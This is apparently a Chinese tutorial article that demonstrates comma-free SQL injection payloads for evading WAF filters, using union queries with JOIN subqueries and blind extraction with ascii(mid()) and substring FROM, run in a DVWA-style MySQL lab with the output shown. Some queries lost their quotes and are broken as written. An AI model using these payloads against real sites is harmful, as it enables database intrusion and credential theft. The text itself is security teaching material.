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丸趣 TV 小编给大家分享一下 SQL 注入技巧之显注与盲注中过滤逗号绕过的示例分析，相信大部分人都还不怎么了解，因此分享这篇文章给大家参考一下，希望大家阅读完这篇文章后大有收获，下面让我们一起去了解一下吧！
1. 联合查询显注绕过逗号
在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位，语句中包含了多个逗号，如果有 WAF 拦截了逗号时，我们的联合查询不能用了。
绕过
在显示位上替换为常见的注入变量或其它语句
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C）;
union select * from ((select 1)A join (select 2)B join (select group_concat(user(), ,database(), ,@@datadir))C);在数据库中演示联合查询
UNION 开始是我们在 URL 中注入的语句，这里只是演示，在实际中如果我们在注入语句中有逗号就可能被拦截
mysql select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)不出现逗号，使用 Join 来注入
mysql select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)查询我们想要的数据
mysql select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(), ,database(), ,@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)2. 盲注中逗号绕过
MID 和 substr 函数用于从文本字段中提取字符
mysql select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)查询数据库用户名第一个字符的 ascii 码
mysql select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)盲注，通过猜 ascii 值
mysql select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set
mysql select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)逗号绕过 SUBTTRING 函数
substring(str FROM pos)
从字符串 str 的起始位置 pos 返回一个子串
mysql select substring(hello from 1);
+---------------------------+
| substring(hello from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql select substring(hello from 2);
+---------------------------+
| substring(hello from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)注入
mysql select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2) 为 o
// o 的 ascii 为 111，mysql select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)以上是“SQL 注入技巧之显注与盲注中过滤逗号绕过的示例分析”这篇文章的所有内容，感谢各位的阅读！相信大家都有了一定的了解，希望分享的内容对大家有所帮助，如果还想学习更多知识，欢迎关注丸趣 TV 行业资讯频道！
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